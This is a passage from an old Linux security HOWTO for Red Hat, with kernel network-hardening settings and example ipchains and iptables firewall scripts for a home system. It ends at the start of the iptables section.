for i in /proc/sys/net/ipv4/conf/*/accept_source_route;
 do
  echo 0 > $i
 done

# Ensure TCP SYN cookies protection is enabled
[ -e /proc/sys/net/ipv4/tcp_syncookies ] &&\
 echo 1 > /proc/sys/net/ipv4/tcp_syncookies

# Ensure ICMP redirects are disabled
for i in /proc/sys/net/ipv4/conf/*/accept_redirects;
 do
  echo 0 > $i
 done

# Ensure oddball addresses are logged
[ -e /proc/sys/net/ipv4/conf/all/log_martians ] &&\
 echo 1 > /proc/sys/net/ipv4/conf/all/log_martians

[ -e /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts ] &&\
 echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts

[ -e /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses ] &&\
 echo 1 > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses

## Optional from here on down, depending on your situation. ############

# Ensure ip-forwarding is enabled if
# we want to do forwarding or masquerading.
[ -e /proc/sys/net/ipv4/ip_forward ] &&\
 echo 1 > /proc/sys/net/ipv4/ip_forward

# On if your IP is dynamic (or you don't know).
[ -e /proc/sys/net/ipv4/ip_dynaddr ] &&\
 echo 1 > /proc/sys/net/ipv4/ip_dynaddr

# eof

The same effect by using /etc/sysctl.conf instead:

#
# Add to existing sysctl.conf
#

# Anti-spoofing blocks
net.ipv4.conf.default.rp_filter = 1
net.ipv4.conf.all.rp_filter = 1

# Ensure source routing is OFF
net.ipv4.conf.default.accept_source_route = 0
net.ipv4.conf.all.accept_source_route = 0

# Ensure TCP SYN cookies protection is enabled
net.ipv4.tcp_syncookies = 1

# Ensure ICMP redirects are disabled
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.all.accept_redirects = 0

# Ensure oddball addresses are logged
net.ipv4.conf.default.log_martians = 1
net.ipv4.conf.all.log_martians = 1

net.ipv4.icmp_echo_ignore_broadcasts = 1

net.ipv4.icmp_ignore_bogus_error_responses = 1

## Optional from here on down, depending on your situation. ############

# Ensure ip-forwarding is enabled if
# we want to do forwarding or masquerading.
net.ipv4.ip_forward = 1

# On if your IP is dynamic (or you don't know).
net.ipv4.ip_dynaddr = 1

# end of example

8.9. Secure Alternatives

This section will give a brief run down on secure alternatives to potentially insecure methods. This will be a hodge podge of clients and servers.

  • telnet, rsh - ssh

  • ftp, rcp - scp or sftp. Both are part of ssh packages. Also, files can easily be transfered via HTTP if Apache is already running anyway. Apache can be buttoned down even more by using SSL (HTTPS).

  • sendmail - postfix, qmail. Not to imply that current versions of sendmail are insecure. Just that there is some bad history there, and just because it is so widely used that it makes an inviting crack target.

    As noted above, Linux installations often include a fully functional mail server. While this may have some advantages, it is not necessary in many cases for simply sending mail, or retrieving mail. This can all be done without a "mail server daemon" running locally.

  • POP3 - SPOP3, POP3 over SSL. If you really need to run your own POP server, this is the way to do it. If retrieving your mail from your ISP's server, then you are at their mercy as to what they provide.

  • IMAP - IMAPS, same as above.

  • If you find you need a particular service, and it is for just you or a few friends, consider running it on a non-standard port. Most server daemons support this, and is not a problem as long as those who will be connecting, know about it. For instance, the standard port for sshd is 22. Any worm or scan will probe for this port number. So run it on a randomly chosen port. See the sshd man page.

8.10. Ipchains and Iptables Redux

This section offers a little more advanced look at some of things that ipchains and iptables can do. These are basically the same scripts as in Step 3 above, just with some more advanced configuration options added. These will provide "masquerading", "port forwarding", allow access to some user definable services, and a few other things. Read the comments for explanations.

8.10.1. ipchains II

#!/bin/sh
#
# ipchains.sh
#
# An example of a simple ipchains configuration. This script
# can enable 'masquerading' and will open user definable ports.
#
###################################################################
# Begin variable declarations and user configuration options ######
#
# Set the location of ipchains (default).
IPCHAINS=/sbin/ipchains

# Local Interfaces
#
# This is the WAN interface, that is our link to the outside world.
# For pppd and pppoe users.
# WAN_IFACE="ppp0"
WAN_IFACE="eth0"
#
# Local Area Network (LAN) interface.
#LAN_IFACE="eth0"
LAN_IFACE="eth1"

# Our private LAN address(es), for masquerading.
LAN_NET="192.168.1.0/24"

# For static IP, set it here!
#WAN_IP="1.2.3.4"

# Set a list of public server port numbers here...not too many!
# These will be open to the world, so use caution. The example is
# sshd, and HTTP (www). Any services included here should be the
# latest version available from your vendor. Comment out to disable
# all PUBLIC services.
#PUBLIC_PORTS="22 80 443"
PUBLIC_PORTS="22"

# If we want to do port forwarding, this is the host
# that will be forwarded to.
#FORWARD_HOST="192.168.1.3"

# A list of ports that are to be forwarded.
#FORWARD_PORTS="25  80"

# If you get your public IP address via DHCP, set this.
DHCP_SERVER=66.21.184.66

# If you need identd for a mail server, set this.
MAIL_SERVER=

# A list of unwelcome hosts or nets. These will be denied access
# to everything, even our 'PUBLIC' services. Provide your own list.
#BLACKLIST="11.22.33.44 55.66.77.88"

# A list of "trusted" hosts and/or nets. These will have access to
# ALL protocols, and ALL open ports. Be selective here.
#TRUSTED="1.2.3.4/8  5.6.7.8"

## end user configuration options #################################
###################################################################

# The high ports used mostly for connections we initiate and return
# traffic.
LOCAL_PORTS=`cat /proc/sys/net/ipv4/ip_local_port_range |cut -f1`:\
`cat /proc/sys/net/ipv4/ip_local_port_range |cut -f2`

# Any and all addresses from anywhere.
ANYWHERE="0/0"

# Start building chains and rules #################################
#
# Let's start clean and flush all chains to an empty state.
$IPCHAINS -F

# Set the default policies of the built-in chains. If no match for any
# of the rules below, these will be the defaults that ipchains uses.
$IPCHAINS -P forward DENY
$IPCHAINS -P output ACCEPT
$IPCHAINS -P input DENY

# Accept localhost/loopback traffic.
$IPCHAINS -A input -i lo -j ACCEPT

# Get our dynamic IP now from the Inet interface. WAN_IP will be our
# IP address we are protecting from the outside world. Put this
# here, so default policy gets set, even if interface is not up
# yet.
[ -z "$WAN_IP" ] &&\
  WAN_IP=`ifconfig $WAN_IFACE |grep inet |cut -d : -f 2 |cut -d \  -f 1`

# Bail out with error message if no IP available! Default policy is
# already set, so all is not lost here.
[ -z "$WAN_IP" ] && echo "$WAN_IFACE not configured, aborting." && exit 1

WAN_MASK=`ifconfig $WAN_IFACE | grep Mask | cut -d : -f 4`
WAN_NET="$WAN_IP/$WAN_MASK"

## Reserved IPs:
#
# We should never see these private addresses coming in from outside
# to our external interface.
$IPCHAINS -A input -l -i $WAN_IFACE -s 10.0.0.0/8     -j DENY
$IPCHAINS -A input -l -i $WAN_IFACE -s 172.16.0.0/12  -j DENY
$IPCHAINS -A input -l -i $WAN_IFACE -s 192.168.0.0/16 -j DENY
$IPCHAINS -A input -l -i $WAN_IFACE -s 127.0.0.0/8    -j DENY
$IPCHAINS -A input -l -i $WAN_IFACE -s 169.254.0.0/16 -j DENY
$IPCHAINS -A input -l -i $WAN_IFACE -s 224.0.0.0/4    -j DENY
$IPCHAINS -A input -l -i $WAN_IFACE -s 240.0.0.0/5    -j DENY
# Bogus routing
$IPCHAINS -A input -l -s 255.255.255.255 -d $ANYWHERE -j DENY

## LAN access and masquerading
#
# Allow connections from our own LAN's private IP addresses via the LAN
# interface and set up forwarding for masqueraders if we have a LAN_NET
# defined above.
if [ -n "$LAN_NET" ]; then
 echo 1 > /proc/sys/net/ipv4/ip_forward
 $IPCHAINS -A input  -i $LAN_IFACE  -j ACCEPT
 $IPCHAINS -A forward -s $LAN_NET -d $LAN_NET -j ACCEPT
 $IPCHAINS -A forward  -s $LAN_NET -d ! $LAN_NET -j MASQ
fi

## Blacklist hosts/nets
#
# Get the blacklisted hosts/nets out of the way, before we start opening
# up any services. These will have no access to us at all, and will be
# logged.
for i in $BLACKLIST; do
 $IPCHAINS -A input -l -s $i -j DENY
done

## Trusted hosts/nets
#
# This is our trusted host list. These have access to everything.
for i in $TRUSTED; do
 $IPCHAINS -A input -s $i -j ACCEPT
done

# Port Forwarding
#
# Which ports get forwarded to which host. This is one to one
# port mapping (ie 80 -> 80) in this case.
# NOTE: ipmasqadm is a separate package from ipchains and needs
# to be installed also. Check first!
[ -n "$FORWARD_HOST" ] && ipmasqadm portfw -f &&\
 for i in $FORWARD_PORTS; do
   ipmasqadm portfw -a -P tcp -L $WAN_IP $i -R $FORWARD_HOST $i
 done

## Open, but Restricted Access ports/services
#
# Allow DHCP server (their port 67) to client (to our port 68) UDP traffic
# from outside source.
[ -n "$DHCP_SERVER" ] &&\
 $IPCHAINS -A input -p udp -s $DHCP_SERVER 67 -d $ANYWHERE 68 -j ACCEPT

# Allow 'identd' (to our TCP port 113) from mail server only.
[ -n "$MAIL_SERVER" ] &&\
 $IPCHAINS -A input -p tcp -s $MAIL_SERVER  -d $WAN_IP 113 -j ACCEPT

# Open up PUBLIC server ports here (available to the world):
for i in $PUBLIC_PORTS; do
 $IPCHAINS -A input -p tcp -s $ANYWHERE -d $WAN_IP $i -j ACCEPT
done

# So I can check my home POP3 mailbox from work. Also, so I can ssh
# in to home system. Only allow connections from my workplace's
# various IPs. Everything else is blocked.
$IPCHAINS -A input -p tcp -s 255.10.9.8/29 -d $WAN_IP 110 -j ACCEPT

# Uncomment to allow ftp data back (active ftp). Not required for 'passive'
# ftp connections.
#$IPCHAINS -A input -p tcp -s $ANYWHERE 20 -d $WAN_IP $LOCAL_PORTS -y -j ACCEPT

# Accept non-SYN TCP, and UDP connections to LOCAL_PORTS. These are
# the high, unprivileged ports (1024 to 4999 by default). This will
# allow return connection traffic for connections that we initiate
# to outside sources. TCP connections are opened with 'SYN' packets.
# We have already opened those services that need to accept SYNs
# for, so other SYNs are excluded here for everything else.
$IPCHAINS -A input -p tcp -s $ANYWHERE -d $WAN_IP $LOCAL_PORTS ! -y -j ACCEPT

# We can't be so selective with UDP since that protocol does not know
# about SYNs.
$IPCHAINS -A input -p udp -s $ANYWHERE -d $WAN_IP $LOCAL_PORTS -j ACCEPT

# Allow access to the masquerading ports conditionally. Masquerading
# uses it's own port range -- on 2.2 kernels ONLY! 2.4 kernels, do not
# use these ports, so comment out!
[ -n "$LAN_NET" ] &&\
 $IPCHAINS -A input -p tcp -s $ANYWHERE -d $WAN_IP 61000: ! -y -j ACCEPT &&\
 $IPCHAINS -A input -p udp -s $ANYWHERE -d $WAN_IP 61000: -j ACCEPT

## ICMP (ping)
#
# ICMP rules, allow the bare essential types of ICMP only. Ping
# request is blocked, ie we won't respond to someone else's pings,
# but can still ping out.
$IPCHAINS -A input  -p icmp  --icmp-type echo-reply \
   -s $ANYWHERE -i $WAN_IFACE -j ACCEPT
$IPCHAINS -A input  -p icmp  --icmp-type destination-unreachable \
   -s $ANYWHERE -i $WAN_IFACE -j ACCEPT
$IPCHAINS -A input  -p icmp  --icmp-type time-exceeded \
   -s $ANYWHERE -i $WAN_IFACE -j ACCEPT

#######################################################################
# Set the catchall, default rule to DENY, and log it all. All other
# traffic not allowed by the rules above, winds up here, where it is
# blocked and logged. This is the default policy for this chain
# anyway, so we are just adding the logging ability here with '-l'.
# Outgoing traffic is allowed as the default policy for the 'output'
# chain. There are no restrictions on that.

$IPCHAINS -A input -l -j DENY

echo "Ipchains firewall is up `date`."

##-- eof ipchains.sh

8.10.2. iptables II

#!/bin/sh
#
# iptables.sh
#
# An example of a simple iptables configuration. This script
# can enable 'masquerading' and will open user definable ports.
#
###################################################################
# Begin variable declarations and user configuration options ######
#
# Set the location of iptables (default).
IPTABLES=/sbin/iptables

# Local Interfaces
# This is the WAN interface that is our link to the outside world.
# For pppd and pppoe users.
# WAN_IFACE="ppp0"
WAN_IFACE="eth0"
#
# Local Area Network (LAN) interface.
#LAN_IFACE="eth0"
LAN_IFACE="eth1"

# Our private LAN address(es), for masquerading.
LAN_NET="192.168.1.0/24"

# For static IP, set it here!
#WAN_IP="1.2.3.4"

# Set a list of public server port numbers here...not too many!
# These will be open to the world, so use caution. The example is
# sshd, and HTTP (www). Any services included here should be the
# latest version available from your vendor. Comment out to disable
# all Public services. Do not put any ports to be forwarded here,
# this only direct access.
#PUBLIC_PORTS="22 80 443"
PUBLIC_PORTS="22"

# If we want to do port forwarding, this is the host
# that will be forwarded to.
#FORWARD_HOST="192.168.1.3"

# A list of ports that are to be forwarded.
#FORWARD_PORTS="25  80"

# If you get your public IP address via DHCP, set this.
DHCP_SERVER=66.21.184.66

# If you need identd for a mail server, set this.
MAIL_SERVER=

# A list of unwelcome hosts or nets. These will be denied access
# to everything, even our 'Public' services. Provide your own list.
#BLACKLIST="11.22.33.44 55.66.77.88"

# A list of "trusted" hosts and/or nets. These will have access to
# ALL protocols, and ALL open ports. Be selective here.
#TRUSTED="1.2.3.4/8  5.6.7.8"

## end user configuration options #################################
###################################################################

# Any and all addresses from anywhere.
ANYWHERE="0/0"

# These modules may need to be loaded:
modprobe ip_conntrack_ftp
modprobe ip_nat_ftp

# Start building chains and rules #################################
#
# Let's start clean and flush all chains to an empty state.
$IPTABLES -F
$IPTABLES -X

# Set the default policies of the built-in chains. If no match for any
# of the rules below, these will be the defaults that IPTABLES uses.
$IPTABLES -P FORWARD DROP
$IPTABLES -P OUTPUT ACCEPT
$IPTABLES -P INPUT DROP

# Accept localhost/loopback traffic.
$IPTABLES -A INPUT -i lo -j ACCEPT

# Get our dynamic IP now from the Inet interface. WAN_IP will be the
# address we are protecting from outside addresses.
[ -z "$WAN_IP" ] &&\
  WAN_IP=`ifconfig $WAN_IFACE |grep inet |cut -d : -f 2 |cut -d \  -f 1`

# Bail out with error message if no IP available! Default policy is
# already set, so all is not lost here.
[ -z "$WAN_IP" ] && echo "$WAN_IFACE not configured, aborting." && exit 1

WAN_MASK=`ifconfig $WAN_IFACE |grep Mask |cut -d : -f 4`
WAN_NET="$WAN_IP/$WAN_MASK"

## Reserved IPs:
#
# We should never see these private addresses coming in from outside
# to our external interface.
$IPTABLES -A INPUT -i $WAN_IFACE -s 10.0.0.0/8      -j DROP
$IPTABLES -A INPUT -i $WAN_IFACE -s 172.16.0.0/12   -j DROP
$IPTABLES -A INPUT -i $WAN_IFACE -s 192.168.0.0/16  -j DROP
$IPTABLES -A INPUT -i $WAN_IFACE -s 127.0.0.0/8     -j DROP
$IPTABLES -A INPUT -i $WAN_IFACE -s 169.254.0.0/16  -j DROP
$IPTABLES -A INPUT -i $WAN_IFACE -s 224.0.0.0/4     -j DROP
$IPTABLES -A INPUT -i $WAN_IFACE -s 240.0.0.0/5     -j DROP
# Bogus routing
$IPTABLES -A INPUT -s 255.255.255.255 -d $ANYWHERE -j DROP

# Unclean
$IPTABLES -A INPUT -i $WAN_IFACE -m unclean -m limit \
      --limit 15/minute -j LOG --log-prefix "Unclean: "
$IPTABLES -A INPUT -i $WAN_IFACE -m unclean -j DROP

## LAN access and masquerading
#
# Allow connections from our own LAN's private IP addresses via the LAN
# interface and set up forwarding for masqueraders if we have a LAN_NET
# defined above.
if [ -n "$LAN_NET" ]; then
 echo 1 > /proc/sys/net/ipv4/ip_forward
 $IPTABLES -A INPUT -i $LAN_IFACE  -j ACCEPT
# $IPTABLES -A INPUT -i $LAN_IFACE -s $LAN_NET -d $LAN_NET  -j ACCEPT
 $IPTABLES -t nat -A POSTROUTING -s $LAN_NET -o $WAN_IFACE -j MASQUERADE
fi

## Blacklist
#
# Get the blacklisted hosts/nets out of the way, before we start opening
# up any services. These will have no access to us at all, and will
# be logged.
for i in $BLACKLIST; do
 $IPTABLES -A INPUT -s $i -m limit --limit 5/minute \
   -j LOG --log-prefix "Blacklisted: "
 $IPTABLES -A INPUT -s $i -j DROP
done

## Trusted hosts/nets
#
# This is our trusted host list. These have access to everything.
for i in $TRUSTED; do
 $IPTABLES -A INPUT -s $i -j ACCEPT
done

# Port Forwarding
#
# Which ports get forwarded to which host. This is one to one
# port mapping (ie 80 -> 80) in this case.
[ -n "$FORWARD_HOST" ] &&\
 for i in $FORWARD_PORTS; do
   $IPTABLES -A FORWARD -p tcp -s $ANYWHERE -d $FORWARD_HOST \
     --dport $i -j ACCEPT
   $IPTABLES -t nat -A PREROUTING -p tcp -d $WAN_IP --dport $i \
     -j DNAT --to $FORWARD_HOST:$i
 done

## Open, but Restricted Access ports
#
# Allow DHCP server (their port 67) to client (to our port 68) UDP
# traffic from outside source.
[ -n "$DHCP_SERVER" ] &&\
 $IPTABLES -A INPUT -p udp -s $DHCP_SERVER --sport 67 \
   -d $ANYWHERE --dport 68 -j ACCEPT

# Allow 'identd' (to our TCP port 113) from mail server only.
[ -n "$MAIL_SERVER" ] &&\
 $IPTABLES -A INPUT -p tcp -s $MAIL_SERVER  -d $WAN_IP --dport 113 -j ACCEPT

# Open up Public server ports here (available to the world):
for i in $PUBLIC_PORTS; do
 $IPTABLES -A INPUT -p tcp -s $ANYWHERE -d $WAN_IP --dport $i -j ACCEPT
done

# So I can check my home POP3 mailbox from work. Also, so I can ssh
# in to home system. Only allow connections from my workplace's
# various IPs. Everything else is blocked.
$IPTABLES -A INPUT -p tcp -s 255.10.9.8/29 -d $WAN_IP --dport 110 -j ACCEPT

## ICMP (ping)
#
# ICMP rules, allow the bare essential types of ICMP only. Ping
# request is blocked, ie we won't respond to someone else's pings,
# but can still ping out.
$IPTABLES -A INPUT  -p icmp  --icmp-type echo-reply \
   -s $ANYWHERE -d $WAN_IP -j ACCEPT
$IPTABLES -A INPUT  -p icmp  --icmp-type destination-unreachable \
   -s $ANYWHERE -d $WAN_IP -j ACCEPT
$IPTABLES -A INPUT  -p icmp  --icmp-type time-exceeded \
   -s $ANYWHERE -d $WAN_IP -j ACCEPT

# Identd Reject
#
# Special rule to reject (with rst) any identd/auth/port 113
# connections. This will speed up some services that ask for this,
# but don't require it. Be careful, some servers may require this
# one (IRC for instance).
#$IPTABLES -A INPUT -p tcp --dport 113 -j REJECT --reject-with tcp-reset

###################################################################
# Build a custom chain here, and set the default to DROP. All
# other traffic not allowed by the rules above, ultimately will
# wind up here, where it is blocked and logged, unless it passes
# our stateful rules for ESTABLISHED and RELATED connections. Let
# connection tracking do most of the worrying! We add the logging
# ability here with the '-j LOG' target. Outgoing traffic is
# allowed as that is the default policy for the 'output' chain.
# There are no restrictions placed on that in this script.

# New chain...
$IPTABLES -N DEFAULT
# Use the 'state' module to allow only certain connections based
# on their 'state'.
$IPTABLES -A DEFAULT -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPTABLES -A DEFAULT -m state --state NEW -i ! $WAN_IFACE -j ACCEPT
# Enable logging for anything that gets this far.
$IPTABLES -A DEFAULT -j LOG -m limit --limit 30/minute --log-prefix "Dropping: "
# Now drop it, if it has gotten here.
$IPTABLES -A DEFAULT -j DROP

# This is the 'bottom line' so to speak. Everything winds up
# here, where we bounce it to our custom built 'DEFAULT' chain
# that we defined just above. This is for both the FORWARD and
# INPUT chains.

$IPTABLES -A FORWARD -j DEFAULT
$IPTABLES -A INPUT   -j DEFAULT

echo "Iptables firewall is up `date`."

##-- eof iptables.sh

8.10.3. Summary

A quick run down of the some highlights...

We added some host based access control rules: "blacklisted", and "trusted". We then showed several types of service and port based access rules. For instance, we allowed some very restrictive access to bigcat's POP3 server so we could connect only from our workplace. We allowed a very narrow rule for the ISP's DHCP server. This rule only allows one port on one outside IP address to connect to only one of our ports and only via the UDP protocol. This is a very specific rule! We are being specific since there is no reason to allow any other traffic to these ports or from these addresses. Remember our goal is the minimum amount of traffic necessary for our particular situation.

So we made those few exceptions mentioned above, and all other services running on bigcat should be effectively blocked completely from outside connections. These are still happily running on bigcat, but are now safe and sound behind our packet filtering firewall. You probably have other services that fall in this category as well.

We also have a small, home network in the above example. We did not take any steps to block that traffic. So the LAN has access to all services running on bigcat. And it is further "masqueraded", so that it has Internet access (different HOWTO), by manipulating the "forward" chain. And the LAN is still protected by our firewall since it sits behind the firewall. We also didn't impose any restrictive rules on the traffic leaving bigcat. In some situations, this might be a good idea.

Of course, this is just a hypothetical example. Your individual situation is surely different, and would require some changes and likely some additions to the rules above. For instance, if your ISP does not use DHCP (most do not), then that rule would make no sense. PPP works differently and such rules are not needed.

Please don't interpret that running any server as we did in this example is necessarily a "safe" thing to do. We shouldn't do it this way unless a) we really need to and b) we are running the current, safe version, and c) we are able to keep abreast of security related issues that might effect these services. Vigilance and caution are part of our responsibilities here too.

8.10.4. iptables mini-me

Just to demonstrate how succinctly iptables can be configured in a minimalist situation, the below is from the Netfilter team's Rusty's Really Quick Guide To Packet Filtering:

"Most people just have a single PPP connection to the Internet, and don't want anyone coming back into their network, or the firewall:"

 ## Insert connection-tracking modules (not needed if built into kernel).
 insmod ip_conntrack
 insmod ip_conntrack_ftp

 ## Create chain which blocks new connections, except if coming from inside.
 iptables -N block
 iptables -A block -m state --state ESTABLISHED,RELATED -j ACCEPT
 iptables -A block -m state --state NEW -i ! ppp0 -j ACCEPT
 iptables -A block -j DROP

 ## Jump to that chain from INPUT and FORWARD chains.
 iptables -A INPUT -j block
 iptables -A FORWARD -j block

This simple script will allow all outbound connections that we initiate, i.e. any NEW connections (since the default policy of ACCEPT is not changed). Then any connections that are "ESTABLISHED" and "RELATED" to these are also allowed. And, any connections that are not incoming from our WAN side interface, ppp0, are also allowed. This would be lo or possibly a LAN interface like eth1. So we can do whatever we want, but no unwanted, incoming connection attempts are allowed from the Internet. None.

This script also demonstrates the creation of a custom chain, defined here as "block", which is used both for the INPUT and FORWARD chains.

Prev | Home
General Tips |


Step 3: Firewalls and Setting Access Policies

Security Quick-Start HOWTO for Red Hat Linux
Prev Next

5. Step 3: Firewalls and Setting Access Policies

So what is a "firewall"? It's a vague term that can mean anything that acts as a protective barrier between us and the outside world. This can be a dedicated system, or a specific application that provides this functionality. Or it can be a combination of components, including various combinations of hardware and software. Firewalls are built from "rules" that are used to define what is allowed to enter and exit a given system or network. Let's look at some of the possible components that are readily available for Linux, and how we might implement a reasonably safe firewalling strategy.

In Step 1 above, we have turned off all services we don't need. In our example, there were a few we still needed to have running. In this section, we will take the next step here and decide which we need to leave open to the world. And which we might be able to restrict in some way. If we can block them all, so much the better, but this is not always practical.

5.1. Strategy

What we want to do now is restrict connections and traffic so that we only allow the minimum necessary for whatever our particular situation is. In some cases we may want to block all incoming "new" connection attempts. Example: we want to run X, but don't want anyone from outside to access it, so we'll block it completely from outside connections. In other situations, we may want to limit, or restrict, incoming connections to trusted sources only. The more restrictive, the better. Example: we want to ssh into our system from outside, but we only ever do this from our workplace. So we'll limit sshd connections to our workplace address range. There are various ways to do this, and we'll look at the most common ones.

We also will not want to limit our firewall to any one application. There is nothing wrong with a "layered" defense-in-depth approach. Our front line protection will be a packet filter -- either ipchains or iptables (see below). Then we can use additional tools and mechanisms to reinforce our firewall.

We will include some brief examples. Our rule of thumb will be to deny everything as the default policy, then open up just what we need. We'll try to keep this as simple as possible since it can be an involved and complex topic, and just stick to some of the most basic concepts. See the Links section for further reading on this topic.

5.2. Packet Filters -- Ipchains and Iptables

"Packet filters" (like ipchains) have the ability to look at individual packets, and make decisions based on what they find. These can be used for many purposes. One common purpose is to implement a firewall.

Common packet filters on Linux are ipchains which is standard with 2.2 kernels, and iptables which is available with the more recent 2.4 kernels. iptables has more advanced packet filtering capabilities and is recommended for anyone running a 2.4 kernel. But either can be effective for our purposes. ipfwadm is a similar utility for 2.0 kernels (not discussed here).

If constructing your own ipchains or iptables firewall rules seems a bit daunting, there are various sites that can automate the process. See the Links section. Also the included examples may be used as a starting point. As of Red Hat 7.1, Red Hat is providing init scripts for ipchains and iptables, and gnome-lokkit for generating a very basic set of firewall rules (see below). This may be adequate, but it is still recommended to know the proper syntax and how the various mechanisms work as such tools rarely do more than a few very simple rules.

Note

Various examples are given below. These are presented for illustrative purposes to demonstrate some of the concepts being discussed here. While they might also be useful as a starting point for your own script, please note that they are not meant to be all encompassing. You are strongly encouraged to understand how the scripts work, so you can create something even more tailored for your own situation.

5.2.1. ipchains

ipchains can be used with either 2.2 or 2.4 kernels. When ipchains is in place, it checks every packet that moves through the system. The packets move across different "chains", depending where they originate and where they are going. Think of "chains" as rule sets. In advanced configurations, we could define our own custom chains. The three default built-in chains are input, which is incoming traffic, output, which is outgoing traffic, and forward, which is traffic being forwarded from one interface to another (typically used for "masquerading"). Chains can be manipulated in various ways to control the flow of traffic in and out of our system. Rules can be added at our discretion to achieve the desired result.

At the end of every "chain" is a "target". The target is specified with the -j option to the command. The target is what decides the fate of the packet and essentially terminates that particular chain. The most common targets are mostly self-explanatory: ACCEPT, DENY, REJECT, and MASQ. MASQ is for "ipmasquerading". DENY and REJECT essentially do the same thing, though in different ways. Is one better than the other? That is the subject of much debate, and depends on other factors that are beyond the scope of this document. For our purposes, either should suffice.

ipchains has a very flexible configuration. Port (or port ranges), interfaces, destination address, source address can be specified, as well as various other options. The man page explains these details well enough that we won't get into specifics here.

Traffic entering our system from the Internet, enters via the input chain. This is the one that we need as tight as we can make it.

Below is a brief example script for a hypothetical system. We'll let the comments explain what this script does. Anything starting with a "#" is a comment. ipchains rules are generally incorporated into shell scripts, using shell variables to help implement the firewalling logic.

#!/bin/sh
#
# ipchains.sh
#
# An example of a simple ipchains configuration.
#
# This script allows ALL outbound traffic, and denies
# ALL inbound connection attempts.
#
###################################################################
# Begin variable declarations and user configuration options ######
#
IPCHAINS=/sbin/ipchains
# This is the WAN interface, that is our link to the outside world.
# For pppd and pppoe users.
# WAN_IFACE="ppp0"
WAN_IFACE="eth0"

## end user configuration options #################################
###################################################################

# The high ports used mostly for connections we initiate and return
# traffic.
LOCAL_PORTS=`cat /proc/sys/net/ipv4/ip_local_port_range |cut -f1`:\
`cat /proc/sys/net/ipv4/ip_local_port_range |cut -f2`

# Any and all addresses from anywhere.
ANYWHERE="0/0"

# Let's start clean and flush all chains to an empty state.
ipchains -F

# Set the default policies of the built-in chains. If no match for any
# of the rules below, these will be the defaults that ipchains uses.
ipchains -P forward DENY
ipchains -P output ACCEPT
ipchains -P input DENY

# Accept localhost/loopback traffic.
ipchains -A input -i lo -j ACCEPT

# Get our dynamic IP now from the Inet interface. WAN_IP will be our
# IP address we are protecting from the outside world. Put this
# here, so default policy gets set, even if interface is not up
# yet.
WAN_IP=`ifconfig $WAN_IFACE |grep inet |cut -d : -f 2 |cut -d \  -f 1`

# Bail out with error message if no IP available! Default policy is
# already set, so all is not lost here.
[ -z "$WAN_IP" ] && echo "$WAN_IFACE not configured, aborting." && exit 1

# Accept non-SYN TCP, and UDP connections to LOCAL_PORTS. These are
# the high, unprivileged ports (1024 to 4999 by default). This will
# allow return connection traffic for connections that we initiate
# to outside sources. TCP connections are opened with 'SYN' packets.
ipchains -A input -p tcp -s $ANYWHERE -d $WAN_IP $LOCAL_PORTS ! -y -j ACCEPT

# We can't be so selective with UDP since that protocol does not
# know about SYNs.
ipchains -A input -p udp -s $ANYWHERE -d $WAN_IP $LOCAL_PORTS -j ACCEPT

## ICMP (ping)
#
# ICMP rules, allow the bare essential types of ICMP only. Ping
# request is blocked, ie we won't respond to someone else's pings,
# but can still ping out.
ipchains -A input  -p icmp  --icmp-type echo-reply \
   -s $ANYWHERE -i $WAN_IFACE -j ACCEPT
ipchains -A input  -p icmp  --icmp-type destination-unreachable \
   -s $ANYWHERE -i $WAN_IFACE -j ACCEPT
ipchains -A input  -p icmp  --icmp-type time-exceeded \
   -s $ANYWHERE -i $WAN_IFACE -j ACCEPT

###################################################################
# Set the catchall, default rule to DENY, and log it all. All other
# traffic not allowed by the rules above, winds up here, where it is
# blocked and logged. This is the default policy for this chain
# anyway, so we are just adding the logging ability here with '-l'.
# Outgoing traffic is allowed as the default policy for the 'output'
# chain. There are no restrictions on that.

ipchains -A input -l -j DENY

echo "Ipchains firewall is up `date`."

##-- eof ipchains.sh

To use the above script would require that it is executable (i.e. chmod +x ipchains.sh), and run by root to build the chains, and hence the firewall.

To summarize what this example did was to start by setting some shell variables in the top section, to be used later in the script. Then we set the default rules (ipchains calls these "policies") of denying all inbound and forwarded traffic, and of allowing all our own outbound traffic. We had to open some holes in the high, unprivileged ports so that we could have return traffic from connections that bigcat initiates to outside addresses. If we connect to someone's web server, we want that HTML data to be able to get back to us, for instance. The same applies to other network traffic. We then allowed a few specific types of the ICMP protocol (most are still blocked). We are also logging any inbound traffic that violates any of our rules so we know who is doing what. Notice that we are only using IP address here, not hostnames of any kind. This is so that our firewall works, even in situation where there may be DNS failures. Also, to prevent any kind of DNS spoofing.

See the ipchains man page for a full explanation of syntax. The important ones we used here are:

-A input: Adds a rule to the "input" chain. The default chains are input, output, and forward.

-p udp: This rule only applies to the "UDP" "protocol". The -p option can be used with tcp, udp or icmp protocols.

-i $WAN_IFACE: This rule applies to the specified interface only, and applies to whatever chain is referenced (input, output, or forward).

-s <IP address> [port]: This rule only applies to the source address as specified. It can optionally have a port (e.g. 22) immediately afterward, or port range, e.g. 1023:4999.

-d <IP address> [port]: This rule only applies to the destination address as specified. Also, it may include port or port range.

-l : Any packet that hits a rule with this option is logged (lower case "L").

-j ACCEPT: Jumps to the "ACCEPT" "target". This effectively terminates this chain and decides the ultimate fate for this particular packet, which in this example is to "ACCEPT" it. The same is true for other -j targets like DENY.

By and large, the order in which command line options are specified is not significant. The chain name (e.g. input) must come first though.

Remember in Step 1 when we ran netstat, we had both X and print servers running among other things. We don't want these exposed to the Internet, even in a limited way. These are still happily running on bigcat, but are now safe and sound behind our ipchains based firewall. You probably have other services that fall in this category as well.

The above example is a simplistic all or none approach. We allow all our own outbound traffic (not necessarily a good idea), and block all inbound connection attempts. It would more than likely require a bit of fine tuning to make it work for you. For a more advanced set of rules, see the Appendix. And you might want to read http://linuxdoc.org/HOWTO/IPCHAINS-HOWTO.html.

Whenever you have made changes to your firewall, you should verify its integrity. One step to make sure your rules seem to be doing what you intended, is to see how ipchains has interpreted your script. You can do this by opening your xterm very wide, and issuing the following command:

 # ipchains -L -n -v | less

The output is grouped according to chain. You should also find a way to scan yourself (see the Verifying section below). And then keep an eye on your logs to make sure you are blocking what is intended.

5.2.2. iptables

